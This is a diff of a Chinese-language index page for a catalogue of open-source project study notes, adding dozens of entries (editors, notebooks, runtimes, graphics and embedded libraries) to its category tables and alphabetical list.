 | [Doom Emacs — 极简风 Emacs 配置框架](/study/projects/doom-emacs/) | ✅ v3 |  |
+| [Eclipse Che — Kubernetes 原生云 IDE](/study/projects/eclipse-che/) | ✅ v3 |  |
 | [GNU Emacs — Lisp 自文档编辑器](/study/projects/emacs/) | ✅ v3 |  |
+| [Etherpad — 经典协作文本编辑器](/study/projects/etherpad-lite/) | ✅ v3 |  |
+| [Foam — VS Code 上的 Roam-like 知识库](/study/projects/foam/) | ✅ v3 |  |
 | [Geany — GTK 轻量 IDE](/study/projects/geany/) | ✅ v3 |  |
+| [ghostwriter — Qt 干净 Markdown 写作器](/study/projects/ghostwriter/) | ✅ v3 |  |
+| [Gitpod — 预构建云开发环境](/study/projects/gitpod/) | ✅ v3 |  |
+| [Godot Engine — 开源游戏引擎 + 编辑器](/study/projects/godot/) | ✅ v3 |  |
+| [HedgeDoc — 协作 Markdown 编辑](/study/projects/hedgedoc/) | ✅ v3 |  |
 | [Helix — Rust 后现代模态编辑器，LSP 和 Tree-sitter 默认开机](/study/projects/helix/) | ✅ v3 |  |
+| [Inkscape — 矢量图形编辑器](/study/projects/inkscape/) | ✅ v3 |  |
+| [Joplin — 开源 Evernote 替代](/study/projects/joplin/) | ✅ v3 |  |
+| [Jupyter Notebook — 经典数据科学笔记本](/study/projects/jupyter-notebook/) | ✅ v3 |  |
+| [JupyterLab — 下一代 Jupyter IDE](/study/projects/jupyterlab/) | ✅ v3 |  |
 | [Kakoune — 多光标优先模态编辑器](/study/projects/kakoune/) | ✅ v3 |  |
+| [Krita — 数字绘画专业编辑器](/study/projects/krita/) | ✅ v3 |  |
 | [Lapce — 把编辑器搬到 GPU 上的 Rust 实验](/study/projects/lapce/) | ✅ v3 |  |
 | [LazyVim — lazy.nvim 驱动的 Neovim 发行版](/study/projects/lazyvim/) | ✅ v3 |  |
 | [Lite XL — 用 Lua 驱动一切的极简文本编辑器](/study/projects/lite-xl/) | ✅ v3 |  |
+| [Logseq — 块结构离线知识库](/study/projects/logseq/) | ✅ v3 |  |
 | [LunarVim — 一体化 Neovim IDE 层](/study/projects/lunarvim/) | ✅ v3 |  |
+| [marimo — 反应式 Python 笔记本](/study/projects/marimo/) | ✅ v3 |  |
+| [MarkText — 实时预览 Markdown 编辑器](/study/projects/marktext/) | ✅ v3 |  |
 | [micro — 终端里像 VS Code 一样顺手的纯 Go 编辑器](/study/projects/micro/) | ✅ v3 |  |
 | [Neovim — Lua 可扩展 vim 现代分叉](/study/projects/neovim/) | ✅ v3 |  |
 | [Notepad++ — Windows 国民文本编辑器](/study/projects/notepad-plus-plus/) | ✅ v3 |  |
 | [NvChad — 极致美观的 Neovim 配置框架](/study/projects/nvchad/) | ✅ v3 |  |
+| [OpenCode — SST 出品的终端 AI IDE](/study/projects/opencode/) | ✅ v3 |  |
+| [OpenVSCode Server — VS Code Server 上游](/study/projects/openvscode-server/) | ✅ v3 |  |
+| [Outline — 团队 Wiki 协作平台](/study/projects/outline/) | ✅ v3 |  |
+| [Overleaf — 在线 LaTeX 协作](/study/projects/overleaf/) | ✅ v3 |  |
+| [Pluto.jl — Julia 反应式笔记本](/study/projects/pluto-jl/) | ✅ v3 |  |
+| [Roo Code — 多模式 VS Code AI 助手](/study/projects/roo-code/) | ✅ v3 |  |
+| [SilverBullet — 可编程的自托管 Markdown 知识库](/study/projects/silverbullet/) | ✅ v3 |  |
+| [SiYuan — 国产块结构笔记](/study/projects/siyuan/) | ✅ v3 |  |
 | [Spacemacs — Space 键统一 Vim 与 Emacs](/study/projects/spacemacs/) | ✅ v3 |  |
+| [TeXstudio — LaTeX 集成写作环境](/study/projects/texstudio/) | ✅ v3 |  |
 | [TextMate — macOS 经典编辑器，语法格式影响了所有人](/study/projects/textmate/) | ✅ v3 |  |
 | [Eclipse Theia — 云原生 IDE 框架基座](/study/projects/theia/) | ✅ v3 |  |
+| [Trilium — 树形层级笔记系统](/study/projects/trilium/) | ✅ v3 |  |
 | [Vim — 模态编辑器之父](/study/projects/vim/) | ✅ v3 |  |
+| [Void — 开源 Cursor 替代](/study/projects/void/) | ✅ v3 |  |
 | [VS Code — 把编辑/调试/扩展捏成一个跨平台壳](/study/projects/vscode/) | ✅ v3 |  |
 | [VSCodium — 去微软遥测的 VS Code 干净构建](/study/projects/vscodium/) | ✅ v3 |  |
 | [xi-editor — Rope + CRDT 驱动的实验性编辑器](/study/projects/xi-editor/) | ✅ v3 |  |
 | [Zed — Atom 团队 Rust 重写的 GPU 协作编辑器](/study/projects/zed/) | ✅ v3 |  |
+| [Apache Zeppelin — JVM 多语言笔记本](/study/projects/zeppelin/) | ✅ v3 |  |
+| [Zettlr — 学者向 Markdown 编辑器](/study/projects/zettlr/) | ✅ v3 |  |
 
 ### 工具库
 
@@ -1037,7 +1127,7 @@ sidebar:
 
 ## 编译器
 
-共 14 个。
+共 17 个。
 
 ### 构建工具
 
@@ -1055,10 +1145,13 @@ sidebar:
 
 | 项目 | 质量 | 描述 |
 |---|:---:|---|
+| [boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎](/study/projects/boa-engine/) | ✅ v3 |  |
 | [Bun — JS 全能运行时](/study/projects/bun/) | ✅ v3 |  |
 | [Deno — 安全优先的 JS/TS 运行时](/study/projects/deno/) | ✅ v3 |  |
 | [Node.js — 服务端 JS 运行时之父](/study/projects/node-js/) | ✅ v3 | V8 上的 JavaScript 服务端运行时，事件循环 + libuv |
+| [Pyston — 给 CPython 装上「快车道」的 JIT 加速器](/study/projects/pyston/) | ✅ v3 |  |
 | [QuickJS — 装进口袋的 JavaScript 引擎](/study/projects/quickjs/) | ✅ v3 |  |
+| [TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」](/study/projects/tinygo/) | ✅ v3 |  |
 | [Wasmtime — Bytecode Alliance 标准 wasm runtime](/study/projects/wasmtime/) | ✅ v3 | Bytecode Alliance 的 WebAssembly 运行时，WASI 支持 |
 
 ### 其他子类
@@ -1153,9 +1246,19 @@ sidebar:
 | [D3.js — 不是图表库，是写图表库的乐高](/study/projects/d3/) | 🗄 存量 |  |
 | [Apache ECharts — 给一个 JSON 就能画图的可视化库](/study/projects/echarts/) | ✅ v3 |  |
 
+## 其他
+
+共 1 个。
+
+### 其他子类
+
+| 项目 | 质量 | 描述 |
+|---|:---:|---|
+| [browser-use — 用自然语言让 AI Agent 操控浏览器](/study/projects/browser-use/) | ✅ v3 |  |
+
 ---
 
-## 全部 862 个（字母序）
+## 全部 960 个（字母序）
 
 | Slug | 项目 | 质量 | 一级 | 子分类 |
 |---|---|:---:|---|---|
@@ -1169,6 +1272,7 @@ sidebar:
 | `ag-grid` | [AG Grid — 企业级数据表格](/study/projects/ag-grid/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `age` | [age — 把"用 GPG 加密一个文件"重新做对](/study/projects/age/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `aichat` | [AIChat — 终端里的多模型 LLM 客户端](/study/projects/aichat/) | ✅ v3 | CLI | 命令行工具 |
+| `aider` | [Aider — 终端 AI 结对编程 CLI](/study/projects/aider/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `aiortc` | [aiortc — 让 Python 服务端像浏览器一样讲 WebRTC](/study/projects/aiortc/) | ✅ v3 | 通信 | 实时通信 |
 | `airflow` | [Apache Airflow — 用 Python 代码画工作流图，让调度器替你按图施工](/study/projects/airflow/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `altair` | [Altair — Python 上的 Vega-Lite 绑定](/study/projects/altair/) | ✅ v3 | 数据可视化 | 数据可视化 |
@@ -1184,9 +1288,11 @@ sidebar:
 | `antv-g2` | [AntV G2 — 把 Grammar of Graphics 写成 JavaScript](/study/projects/antv-g2/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `antv-g6` | [AntV G6 — 把"关系数据"画成会自己摆位置的图](/study/projects/antv-g6/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `antv-x6` | [AntV X6 — 把 mxGraph 的图编辑思路搬到 TypeScript](/study/projects/antv-x6/) | ✅ v3 | 数据可视化 | 数据可视化 |
+| `anytype-ts` | [Anytype — 本地优先块编辑器](/study/projects/anytype-ts/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `ape-framework` | [Ape Framework — Python 智能合约开发一条龙](/study/projects/ape-framework/) | ✅ v3 | 区块链 | 链与合约 |
 | `apexcharts` | [ApexCharts — 自带响应式与注解的 SVG 图表库](/study/projects/apexcharts/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `apollo-server` | [Apollo Server — Node 端 GraphQL 服务端的事实标准](/study/projects/apollo-server/) | ✅ v3 | 后端 API | Web 后端 |
+| `appflowy` | [AppFlowy — Rust + Flutter 开源 Notion 替代品](/study/projects/appflowy/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `appwrite` | [Appwrite — 自己能装一遍的开源 Firebase](/study/projects/appwrite/) | ✅ v3 | 后端 API | Web 后端 |
 | `aptos-core` | [Aptos — Move 系高性能 L1](/study/projects/aptos-core/) | ✅ v3 | 区块链 | 链与合约 |
 | `aragon` | [Aragon OSx — 一份内核合约管所有 DAO 的乐高套件](/study/projects/aragon/) | ✅ v3 | 区块链 | 链与合约 |
@@ -1204,6 +1310,7 @@ sidebar:
 | `arweave` | [Arweave — 一次付费、永远存着的区块链](/study/projects/arweave/) | ✅ v3 | 区块链 | 链与合约 |
 | `asdf` | [asdf — 一个 CLI 管 Node/Python/Ruby 等几十种版本](/study/projects/asdf/) | ✅ v3 | CLI | 命令行工具 |
 | `aspnetcore` | [ASP.NET Core — 微软跨平台 web 框架](/study/projects/aspnetcore/) | ✅ v3 | 后端 API | Web 后端 |
+| `assimp` | [Assimp — Open Asset Import Library 统一 3D 模型导入](/study/projects/assimp/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `ast-grep` | [ast-grep — 按语法树搜代码、改代码的命令行工具](/study/projects/ast-grep/) | ✅ v3 | CLI | 命令行工具 |
 | `asterisk` | [Asterisk — 把企业总机变成一台 Linux 服务器](/study/projects/asterisk/) | ✅ v3 | 通信 | 实时通信 |
 | `astro` | [Astro — 内容站点优先的 Web 框架](/study/projects/astro/) | 🗄 存量 | 后端 API | UI 框架 / 静态站点 |
@@ -1236,18 +1343,23 @@ sidebar:
 | `billboard-js` | [billboard.js — c3.js 的 TypeScript 继任者](/study/projects/billboard-js/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `biome` | [Biome — JS/TS 工具链一体化（Rust 写的 linter+formatter）](/study/projects/biome/) | ✅ v3 | 后端 API | 前端工具链 |
 | `bitcoin-core` | [Bitcoin Core — 比特币参考实现](/study/projects/bitcoin-core/) | ✅ v3 | 区块链 | 链与合约 |
+| `blender` | [Blender — 全流程 3D 创作套件](/study/projects/blender/) | ✅ v3 | CLI | 编辑器与 IDE |
+| `boa-engine` | [boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎](/study/projects/boa-engine/) | ✅ v3 | 编译器 | 语言运行时 |
 | `bokeh` | [Bokeh — 浏览器端交互式 Python 图，可挂 Server 做实时数据流](/study/projects/bokeh/) | ✅ v3 | 数据可视化 | 数据可视化 |
+| `bookstack` | [BookStack — 文档型 Wiki 知识库](/study/projects/bookstack/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `botbuilder-js` | [Bot Framework SDK JS — 微软多渠道 chatbot 的 Adapter + Middleware 抽象](/study/projects/botbuilder-js/) | ✅ v3 | 通信 | 实时通信 |
 | `botpress` | [Botpress — 把对话画成流程图加 LLM 节点的开源 chatbot 平台](/study/projects/botpress/) | ✅ v3 | 通信 | 实时通信 |
 | `bottom` | [bottom — Rust 写的跨平台终端进程监控（widget 自由拼）](/study/projects/bottom/) | ✅ v3 | CLI | 命令行工具 |
+| `box2d` | [Box2D — Erin Catto C++ 2D 物理](/study/projects/box2d/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `boxen` | [boxen — 给终端文本套个边框的事](/study/projects/boxen/) | 🗄 存量 | CLI | 工具库 |
 | `broot` | [broot — 把 tree 命令升级成会过滤、能 cd、显大小、看 git 的交互树](/study/projects/broot/) | ✅ v3 | CLI | 命令行工具 |
-| `browser-use` | [browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架](/study/projects/browser-use/) | ✅ v3 | 机器学习 | AI agent infra |
+| `browser-use` | [browser-use — 用自然语言让 AI Agent 操控浏览器](/study/projects/browser-use/) | ✅ v3 | 其他 | ai-agent-infra |
 | `btop` | [btop — bashtop 三代 C++ 版，五面板一屏的彩色资源监控器](/study/projects/btop/) | ✅ v3 | CLI | 命令行工具 |
 | `bubbletea` | [Bubble Tea — 用 Elm 架构写终端 UI 的 Go 框架](/study/projects/bubbletea/) | ✅ v3 | CLI | 命令行工具 |
 | `buildah` | [Buildah — 不要守护进程，每次构建都是一个 fork 出来的小工](/study/projects/buildah/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `buildkit` | [BuildKit — Docker 下一代镜像构建后端](/study/projects/buildkit/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `buildroot` | [Buildroot — 用 Make 给嵌入式板子烤一张完整 Linux 镜像](/study/projects/buildroot/) | ✅ v3 | 操作系统 | 嵌入式 |
+| `bullet` | [Bullet — C++ 经典 3D 物理引擎](/study/projects/bullet/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `bullmq` | [BullMQ — Node.js 上的 Redis 任务队列](/study/projects/bullmq/) | ✅ v3 | 后端 API | Web 后端 |
 | `bun` | [Bun — JS 全能运行时](/study/projects/bun/) | ✅ v3 | 编译器 | 语言运行时 |
 | `caddy` | [Caddy — 自动 HTTPS Web 服务器](/study/projects/caddy/) | ✅ v3 | 后端 API | Web 后端 |
@@ -1255,6 +1367,7 @@ sidebar:
 | `cal-com` | [cal.com — 自己能托管的开源 Calendly](/study/projects/cal-com/) | ✅ v3 | 后端 API | SaaS 应用 |
 | `calico` | [Calico — 用 BGP 路由把 K8s pod 当成一个个小路由器](/study/projects/calico/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `candle` | [Candle — HuggingFace 出品的 Rust 推理框架](/study/projects/candle/) | ✅ v3 | 机器学习 | 数据科学与 AI |
+| `cannon-es` | [cannon-es — pmndrs 维护的 cannon.js 续作](/study/projects/cannon-es/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `canvas-datagrid` | [canvas-datagrid — 整张表只用一块 canvas 画](/study/projects/canvas-datagrid/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `capacitor` | [Capacitor — 让 Web 应用直接变成 App Store 上架的原生应用](/study/projects/capacitor/) | ✅ v3 | 后端 API | 移动端 |
 | `capnproto` | [Capn Proto — 数据布局即 wire format 的零拷贝序列化 + RPC](/study/projects/capnproto/) | ✅ v3 | 后端 API | Web 后端 |
@@ -1282,10 +1395,14 @@ sidebar:
 | `clearml` | [ClearML — 自托管 MLOps 套件](/study/projects/clearml/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `clerk` | [Clerk — 把登录注册组织 MFA 整套外包给云的 SaaS 认证 SDK](/study/projects/clerk/) | ✅ v3 | 后端 API | 框架与 SDK |
 | `clickhouse` | [ClickHouse — 列式 OLAP 数据库](/study/projects/clickhouse/) | ✅ v3 | 数据库 | 存储与查询 |
+| `cline` | [Cline — VS Code 自主编码代理](/study/projects/cline/) | ✅ v3 | CLI | 编辑器与 IDE |
+| `cmsis-nn` | [CMSIS-NN — Cortex-M 上的「神经网络专用工具箱」](/study/projects/cmsis-nn/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `cockroach` | [CockroachDB — 全球分布式 SQL](/study/projects/cockroach/) | ✅ v3 | 数据库 | 存储与查询 |
 | `cockroachdb` | [CockroachDB — 分布式 SQL 数据库](/study/projects/cockroachdb/) | ✅ v3 | 分布式系统 | 数据库 / 分布式 |
 | `cocos2d-x` | [Cocos2d-x — 一份 C++ 代码把 2D 手游跑遍 iOS / Android](/study/projects/cocos2d-x/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `code-server` | [code-server — 在浏览器里跑完整 VS Code](/study/projects/code-server/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `codemirror` | [CodeMirror — 编辑器不是一个类，是一组扩展的合奏](/study/projects/codemirror/) | ✅ v3 | 后端 API | 前端 |
+| `coder` | [Coder — 自托管开发环境平台](/study/projects/coder/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `collabora-online` | [Collabora Online — 浏览器里直接编辑 Office 文档的开源后端](/study/projects/collabora-online/) | ✅ v3 | 通信 | 实时通信 |
 | `colmap` | [COLMAP — 多视图 SfM/MVS 重建](/study/projects/colmap/) | ✅ v3 | 通信 | 音视频媒体 |
 | `colossal-ai` | [Colossal-AI — 大模型训练系统](/study/projects/colossal-ai/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -1325,6 +1442,7 @@ sidebar:
 | `dayjs` | [Day.js — 用 2 KB 复刻 Moment 的极简日期库](/study/projects/dayjs/) | ✅ v3 | CLI | 工具库 |
 | `dbt-core` | [dbt-core — 把 SQL 当工程代码写，让数据仓库里的转换跑起来](/study/projects/dbt-core/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `debezium` | [Debezium — 把数据库的"刚刚改了"变成消息流](/study/projects/debezium/) | ✅ v3 | 数据库 | 数据基建 / CDC |
+| `deck-gl` | [deck.gl — Uber 大规模数据可视化](/study/projects/deck-gl/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `decord` | [Decord — Video-LLM 数据管线的高效视频解码库](/study/projects/decord/) | ✅ v3 | 机器学习 | 视频理解 |
 | `deepspeed` | [DeepSpeed — 微软分布式训练库](/study/projects/deepspeed/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `defold` | [Defold — King 出品 Lua 引擎，移动优先 + 一键跨平台打包](/study/projects/defold/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1333,7 +1451,7 @@ sidebar:
 | `deno` | [Deno — 安全优先的 JS/TS 运行时](/study/projects/deno/) | ✅ v3 | 编译器 | 语言运行时 |
 | `dgraph` | [Dgraph — 分布式图数据库](/study/projects/dgraph/) | 🗄 存量 | 数据库 | 存储与查询 |
 | `dhtmlx-gantt` | [DHTMLX Gantt — 给企业级排期用的全功能甘特组件](/study/projects/dhtmlx-gantt/) | ✅ v3 | 数据可视化 | 数据可视化 |
-| `dify` | [Dify — LLM 应用开发平台](/study/projects/dify/) | ✅ v3 | 机器学习 | AI |
+| `dify` | [Dify — LLM 应用开发平台](/study/projects/dify/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `discord-js` | [discord.js — Node.js Discord API 客户端事实标准](/study/projects/discord-js/) | ✅ v3 | 通信 | 实时通信 |
 | `discord-py` | [discord.py — 用 Python 写 Discord 机器人的事实标准](/study/projects/discord-py/) | ✅ v3 | 通信 | 实时通信 |
 | `dive` | [dive — 看清 Docker 镜像每一层加了什么文件的 TUI](/study/projects/dive/) | ✅ v3 | CLI | 命令行工具 |
@@ -1346,9 +1464,11 @@ sidebar:
 | `doom-emacs` | [Doom Emacs — 极简风 Emacs 配置框架](/study/projects/doom-emacs/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `doris` | [Apache Doris — MySQL 协议 MPP OLAP 数据库](/study/projects/doris/) | ✅ v3 | 数据库 | 存储与查询 |
 | `dovecot` | [Dovecot — 主流 IMAP/POP3 服务器](/study/projects/dovecot/) | ✅ v3 | 通信 | 实时通信 |
+| `draco` | [Draco — Google 3D 网格与点云压缩](/study/projects/draco/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `dragonfly` | [Dragonfly — 多线程 Redis 替代](/study/projects/dragonfly/) | ✅ v3 | 数据库 | 存储与查询 |
 | `drawio` | [drawio (diagrams.net) — 离线版 Visio](/study/projects/drawio/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `drizzle` | [Drizzle ORM — 轻量 SQL-like ORM](/study/projects/drizzle/) | ✅ v3 | 数据库 | ORM |
+| `drizzle-orm` | [drizzle-orm](/study/projects/drizzle-orm/) | ✅ v3 | 后端 API | Web 后端 |
 | `drone` | [Drone CI — 容器原生的 YAML 流水线](/study/projects/drone/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `dropwizard` | [Dropwizard — Java 微服务的"开箱即用 12-factor 起步包"](/study/projects/dropwizard/) | ✅ v3 | 后端 API | Web 后端 |
 | `druid` | [Apache Druid — 流批一体的实时分析数据库](/study/projects/druid/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -1362,6 +1482,7 @@ sidebar:
 | `earthly` | [Earthly — 把 Make 和 Dockerfile 揉一起的构建工具](/study/projects/earthly/) | ✅ v3 | CLI | 命令行工具 |
 | `echarts` | [Apache ECharts — 给一个 JSON 就能画图的可视化库](/study/projects/echarts/) | ✅ v3 | 数据可视化 | projects / 数据可视化 |
 | `echo` | [Echo — 极简高性能 Go 框架，5 行起服务](/study/projects/echo/) | ✅ v3 | 后端 API | Web 后端 |
+| `eclipse-che` | [Eclipse Che — Kubernetes 原生云 IDE](/study/projects/eclipse-che/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `edgedb` | [EdgeDB / Gel — 在 Postgres 上长出图风查询语言，让类型系统替你做 ORM](/study/projects/edgedb/) | ✅ v3 | 数据库 | 存储与查询 |
 | `effect` | [Effect — 给 TypeScript 装上"会跟踪错误和依赖"的副作用引擎](/study/projects/effect/) | ✅ v3 | 编译器 | TypeScript 运行时 |
 | `ejabberd` | [ejabberd — Erlang 写的电信级 XMPP/MQTT 多协议服务器](/study/projects/ejabberd/) | ✅ v3 | 通信 | 实时通信 |
@@ -1383,8 +1504,12 @@ sidebar:
 | `erigon` | [Erigon — 存储优化型以太坊客户端](/study/projects/erigon/) | ✅ v3 | 区块链 | 链与合约 |
 | `errbot` | [Errbot — 用 Python 类写一个能进 Slack/Discord 的聊天机器人](/study/projects/errbot/) | ✅ v3 | 通信 | 实时通信 |
 | `esbuild` | [esbuild — 用 Go 写的极速 JS bundler](/study/projects/esbuild/) | ✅ v3 | 编译器 | 构建工具 |
+| `esp-dl` | [ESP-DL — 乐鑫芯片上的「袖珍 AI 放映机」](/study/projects/esp-dl/) | ✅ v3 | 操作系统 | 嵌入式 |
+| `esphome` | [ESPHome — 用 YAML 给 ESP 芯片写「说明书」的固件工厂](/study/projects/esphome/) | ✅ v3 | 操作系统 | 嵌入式 |
+| `espurna` | [ESPurna — 给 Sonoff 等 ESP8266 插座换「本地大脑」的固件](/study/projects/espurna/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `essentia` | [Essentia — 音乐信息检索工具箱](/study/projects/essentia/) | ✅ v3 | 通信 | 音视频媒体 |
 | `etcd` | [etcd — 分布式键值数据库](/study/projects/etcd/) | ✅ v3 | 数据库 | 存储与查询 |
+| `etherpad-lite` | [Etherpad — 经典协作文本编辑器](/study/projects/etherpad-lite/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `ethers-js` | [ethers.js — 浏览器和 Node 都能用的以太坊客户端库](/study/projects/ethers-js/) | ✅ v3 | 区块链 | 链与合约 |
 | `evidence` | [Evidence — 把 Markdown + SQL 编译成静态报告站](/study/projects/evidence/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `excalidraw` | [Excalidraw — 手绘风协作白板](/study/projects/excalidraw/) | ✅ v3 | 通信 | 协作工具 |
@@ -1402,19 +1527,24 @@ sidebar:
 | `feast` | [Feast — 让训练和上线用同一份特征定义的开源 Feature Store](/study/projects/feast/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `ferretdb` | [FerretDB — 用 PostgreSQL 当后端的开源 MongoDB 协议代理](/study/projects/ferretdb/) | ✅ v3 | 数据库 | 存储与查询 |
 | `ffmpeg` | [FFmpeg — 多媒体转码与封装瑞士军刀](/study/projects/ffmpeg/) | ✅ v3 | 通信 | 音视频媒体 |
+| `ffmpeg-kit` | [FFmpegKit — 在 App 里跑 FFmpeg 的「随身剪辑台」](/study/projects/ffmpeg-kit/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `fiber` | [Fiber — 把 Express 写法搬到 Go 上的高性能 web 框架](/study/projects/fiber/) | ✅ v3 | 后端 API | Web 后端 |
 | `filament` | [Filament — Google 跨平台 PBR 渲染引擎](/study/projects/filament/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `filecoin` | [Filecoin / Lotus — IPFS 之上的去中心化存储市场](/study/projects/filecoin/) | ✅ v3 | 区块链 | 链与合约 |
 | `fish` | [fish — 装好就比 bash 加插件好用的交互 shell](/study/projects/fish/) | ✅ v3 | CLI | 命令行工具 |
 | `fish-shell` | [fish-shell — 友好交互式命令行 Shell](/study/projects/fish-shell/) | ✅ v3 | CLI | Shell |
 | `flac` | [FLAC — 无损音频压缩格式与参考实现](/study/projects/flac/) | ✅ v3 | 通信 | 音视频媒体 |
+| `flame` | [Flame — Flutter 上的 2D 游戏引擎](/study/projects/flame/) | ✅ v3 | 后端 API | 移动端 |
 | `flask` | [Flask — 用装饰器把 URL 接到函数上的 Python 微框架](/study/projects/flask/) | 🗄 存量 | 后端 API | Web 后端 |
 | `flax` | [Flax — JAX 上的神经网络库](/study/projects/flax/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `flowchart-js` | [flowchart.js — 文本生成流程图](/study/projects/flowchart-js/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `fluent-bit` | [Fluent Bit — C 写的轻量日志 forwarder，K8s DaemonSet 默认选](/study/projects/fluent-bit/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `flutter` | [Flutter — Google 自绘像素的跨平台 UI 框架](/study/projects/flutter/) | ✅ v3 | 后端 API | 移动端 |
+| `flutter-quill` | [flutter-quill — Flutter 跨平台富文本编辑器](/study/projects/flutter-quill/) | ✅ v3 | 后端 API | 移动端 |
 | `flutter-rust-bridge` | [flutter-rust-bridge — Dart 调 Rust 像调本地函数](/study/projects/flutter-rust-bridge/) | ✅ v3 | 后端 API | 移动端 |
+| `flutterfire` | [FlutterFire — Flutter 接入 Firebase 的官方插件全家桶](/study/projects/flutterfire/) | ✅ v3 | 后端 API | 移动端 |
 | `flux` | [Flux — 让 Git 当 Kubernetes 集群的真理来源](/study/projects/flux/) | ✅ v3 | 基础设施 | DevOps 与运维 |
+| `foam` | [Foam — VS Code 上的 Roam-like 知识库](/study/projects/foam/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `fooocus` | [Fooocus — 把 SDXL 做成傻瓜机](/study/projects/fooocus/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `foundry` | [Foundry — Paradigm 出品的 Rust 合约工具链](/study/projects/foundry/) | ✅ v3 | 区块链 | 链与合约 |
 | `framer-motion` | [Framer Motion — React 声明式动画](/study/projects/framer-motion/) | ✅ v3 | 数据可视化 | 动画 |
@@ -1422,19 +1552,27 @@ sidebar:
 | `freemodbus` | [FreeModbus — 嵌入式 Modbus RTU/TCP 从机协议栈](/study/projects/freemodbus/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `freertos` | [FreeRTOS-Kernel — KB 级 RAM 跑得动的可抢占多任务内核](/study/projects/freertos/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `freeswitch` | [FreeSWITCH — 多线程软交换内核，给电话/视频会议当骨架](/study/projects/freeswitch/) | ✅ v3 | 通信 | 实时通信 |
+| `fvm` | [FVM — 按项目锁定 Flutter SDK 版本](/study/projects/fvm/) | ✅ v3 | 后端 API | 移动端 |
 | `fx` | [fx — JSON 的交互式查看器（jq 的 TUI 表亲）](/study/projects/fx/) | ✅ v3 | CLI | 命令行工具 |
 | `fzf` | [fzf — 命令行模糊查找](/study/projects/fzf/) | ✅ v3 | CLI | 命令行工具 |
+| `gazebo-classic` | [Gazebo Classic — 机器人仿真零基础入门](/study/projects/gazebo-classic/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `gdu` | [gdu — Go 写的并发 du 替代，单二进制扔到服务器扫满盘几秒钟出 TUI](/study/projects/gdu/) | ✅ v3 | CLI | 命令行工具 |
 | `geany` | [Geany — GTK 轻量 IDE](/study/projects/geany/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `gh` | [gh — GitHub 官方命令行](/study/projects/gh/) | ✅ v3 | CLI | 命令行工具 |
+| `ghostwriter` | [ghostwriter — Qt 干净 Markdown 写作器](/study/projects/ghostwriter/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `gin` | [Gin — Go 写 web API 的事实标准框架](/study/projects/gin/) | ✅ v3 | 后端 API | Web 后端 |
 | `github-actions` | [GitHub Actions — 仓库自带的 CI/CD 流水线](/study/projects/github-actions/) | ✅ v3 | 基础设施 | DevOps / CI-CD |
+| `gitpod` | [Gitpod — 预构建云开发环境](/study/projects/gitpod/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `gitui` | [gitui — Rust 写的 git TUI，libgit2 直连让启动比 lazygit 快一个量级](/study/projects/gitui/) | ✅ v3 | CLI | 命令行工具 |
 | `glab` | [glab — GitLab 官方命令行](/study/projects/glab/) | ✅ v3 | CLI | 命令行工具 |
 | `glances` | [Glances — Python 写的全栈系统监控（终端 + Web + REST + 远程）](/study/projects/glances/) | ✅ v3 | CLI | 命令行工具 |
 | `glide-data-grid` | [glide-data-grid — Canvas 画出来的百万行表格](/study/projects/glide-data-grid/) | ✅ v3 | 数据可视化 | 数据可视化 |
+| `glsl-canvas` | [glslCanvas — Book of Shaders 配套库](/study/projects/glsl-canvas/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `glslify` | [glslify — Browserify 风格 GLSL 模块](/study/projects/glslify/) | ✅ v3 | 图形学 | 渲染与图形 |
